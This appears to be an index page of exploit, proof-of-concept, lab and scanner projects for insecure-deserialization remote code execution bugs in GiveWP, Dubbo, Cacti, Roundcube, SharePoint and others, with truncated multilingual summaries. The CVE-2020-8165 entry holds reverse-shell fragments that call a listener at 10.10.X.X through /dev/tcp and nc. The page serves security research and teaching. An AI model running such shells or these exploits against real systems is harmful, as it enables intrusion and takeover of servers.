GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Node.js-CVE-2017-5941

NodeJS 安全でないデシリアライゼーションの脆弱性デモ Node.js は、JavaScript でサーバー機能を実装するために使用されるオープンソースのランタイム環境です。 Node.js 内の特定のソフトウェアパッケージには、デシリアライゼーションを扱う脆弱な関数が含まれており、クライアントが特別に細工された Cookie を提供すると、不正なコマンドを実行してしまいます。 この脆弱性は再現されており、リバースシェルを起動できる可能性があります。これは、クライアントのリクエスト内の Cookie から読み取られるサニタイズされていない入力データが原因で発生します。クライアントは...

cve-2017-9822

CVE-2017-9822 基本情報 環境セットアップ デバッグセットアップ 分析 デバッグ XmlSerializer 攻撃用ガジェット ObjectDataProvider ResourceDictionary 安全でないXMLデシリアライズからRCEへ CVE-2017-9822 DNN（別名DotNetNuke）9.1.1より前のバージョンでは、Cookieを介したリモートコード実行が可能です。「2017-08（重要）DNN Webサイトでリモートコード実行が可能」とも呼ばれます。 基本情報 影響を受ける製品: DotNetNuke（DNN Platform） –...

CVE-2020-8165

CVE-2020-8165 Python Exploit これはPython3を使用してCVE-2020-8165を悪用するコードです。このエクスプロイトはrails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主なクレジット 元のCVE詳細：https://vulners.com/cve/CVE-2020-8165...

CVE-2022-48565-POC

CVE-2022-48565 PoC はじめに これは、Pythonにおける Plistファイルの安全でないデシリアライゼーション に基づく脆弱性 CVE-2022-48565 を実証する Proof of Concept（PoC）です。特別に細工された Property List（Plist）ファイルを処理することで、攻撃者は対象システム上で任意のコードを実行でき、リモートコード実行（RCE） につながる可能性があります。...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 安全でないデシリアライゼーションラボ 安全でないデシリアライゼーションに対して脆弱な基本的なJava RESTアプリケーションで、RCEにつながります。 プロジェクトはJava 8u45 で実行する必要があります。 以下の依存関係を持つMavenベース： jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 さらにガジェットを試したい場合は、Mavenを通じて依存関係を追加できます。 実行方法 （Intellij...

Roundcube-CVE-2025-49113

Roundcube RCE エクスプロイト CVE-2025-49113 CVE-2025-49113 に対する完全に機能する実証コード 🧠 概要 CVE-2025-49113 は、脆弱性はアプリケーションのセッションパーサーのロジック欠陥の結果であり、PHP オブジェクトの安全でないデシリアライゼーションを許容します。認証されたユーザーは、この問題を悪用してサーバー上で任意のコマンドを実行できます。 🔥 影響 有効な認証情報 （低権限のユーザーアカウントでも）を持つ攻撃者は、この欠陥を悪用して以下を行うことができます： 任意のシステムコマンドを実行する。...

sharepoint-toolshell-cve-2025-53770

SharePoint "ToolShell" RCE エクスプロイト CVE-2025-53770 概要 CVE-2025-53770 は、Microsoft SharePoint Server 2016、2019、および Subscription Edition オンプレミスのみ、SharePoint Online は対象外 に影響を与える重大なリモートコード実行 RCE...

Telerik_CVE-2019-18935

TelerikUI Python スキャナ telerikrcescan.py 使用例 CVE-2019-18935 について IP を評価する $ python3 telerikrcescan.py -t 192.168.44.21 CVE-2019-18935 についてホスト名を評価する $ python3 telerikrcescan.py -t vulnerable.telerik.net CVE-2019-18935 について CIDR ネットワーク範囲を評価する $ python3 telerikrcescan.py -r 23.253.4.0/24 ターゲットのリストを評価...

CVE-2025-53691

CVE-2025-53691：安全でないデシリアライゼーションによるリモートコード実行（RCE） AjaxScriptManager 内の同じリフレクションメカニズムを使用して、ProcessSerializedData メソッドを呼び出すことができます。このメソッドは、安全でない BinaryFormatter を使用して提供されたペイロードをデシリアライズし、RCE につながります。攻撃者は、悪意のあるシリアライズ済みオブジェクトを作成して、サーバー上で任意のコマンドを実行できます。 リモートコード実行： 攻撃者は CVE-2025-53691...

CVE-2025-55182-POC

CVE-2025-55182 POC & 検出 React Server Components RSC Unsafe Deserialization 脆弱性エクスプロイトおよび検出ツール集 脆弱性情報 CVE-ID : CVE-2025-55182 影響バージョン : React 19.x、Next.js 15.x/16.x（App Router 使用時） 攻撃ベクター : RSC Flight プロトコル逆シリアル化時のプロトタイプ汚染による RCE 危険度 : Critical CVSS 10.0 📦 構成要素 1. 脆弱な環境（Docker） docker-compose.yml...

CVE-2026-10036-speechbrain-rce

CVE-2026-10036: SpeechBrain の CKPT.yaml 解析による任意コード実行 深刻度: 高、CVSS 4.0 8.7 、CVSS 3.1 8.8 （CNA である VulnCheck により割り当て） ベクター v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N ベクター v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 影響を受けるバージョン: SpeechBrain 1.1.1 修正バージョン: 1.1.1 / コミッ...

day09-bentoml-deser-lab

Day 09 — CVE-2025-27520 BentoML形式の安全でないデシリアライゼーション — ローカルDockerラボ このラボは、CVE-2025-27520の原因となった安全でないデシリアライゼーションクラスを再現します。 これは教育目的で意図的に脆弱な状態になっています。Docker内でのみローカル実行してください。 クイックスタート ビルドして実行: docker build -t day09-bentoml-lab . docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab...

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

ermir

Ermir Ermir는 악성/가짜 RMI 레지스트리로, 표준 RMI 메서드list/lookup/bind/rebind/unbind를 호출하는 모든 Java 코드의 안전하지 않은 역직렬화를 악용합니다. 요구 사항 Ruby v3 이상. 설치 rubygems.org에서 Ermir 설치: $ gem install ermir 또는 저장소를 클론하고 gem 빌드: $ git clone https://github.com/hakivvi/ermir.git $ rake install 사용법 Ermir는 CLI gem으로, ermir와...

CVE-2024-1651-PoC

CVE-2024-1651 このCVEは、Fluid Attack Offensive TeamのCarlos Belloによって発見されました。この調査結果は、RCE（リモートコード実行）を取得するための安全でないオブジェクトのデシリアライゼーションに関するものです。ここでは、より高速で使いやすいPoC（概念実証）を作成しました。したがって、この調査結果を再現したい場合は、参考例としてこれを利用できます。 プレビュー...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - 安全でないデシリアライゼーションによるリモートコード実行。 タイムライン ベンダーへの脆弱性報告: 22.09.2023 修正版 1.1.9.4 のリリース: 08.12.2023 公開開示: 15.12.2023 説明 IBM i Access Client Solutions は、パスワードの保存とパスワード暗号化の復号キー取得に安全でないデシリアライゼーションを使用しています。これは、ローカルまたはリモートの攻撃者によってコード実行に利用される可能性があります。...

CVE-2017-9822

CVE-2017-9822 DotNetNuke（通常は DNN と略される）は、Microsoft の ASP.NET テクノロジに基づく CMS（コンテンツ管理システム）プラットフォーム および Webアプリケーションフレームワーク です。 基本情報 影響を受ける製品: DotNetNuke（DNN Platform） – 一般的な .NET CMS/ポータル。 公開日: 2017年7月。 深刻度: Critical（CVSS 約9.8）。 脆弱性の種類: XML External Entity XXE / 安全でない逆シリアル化 → リモートコード実行 RCE。 影響: バージョン...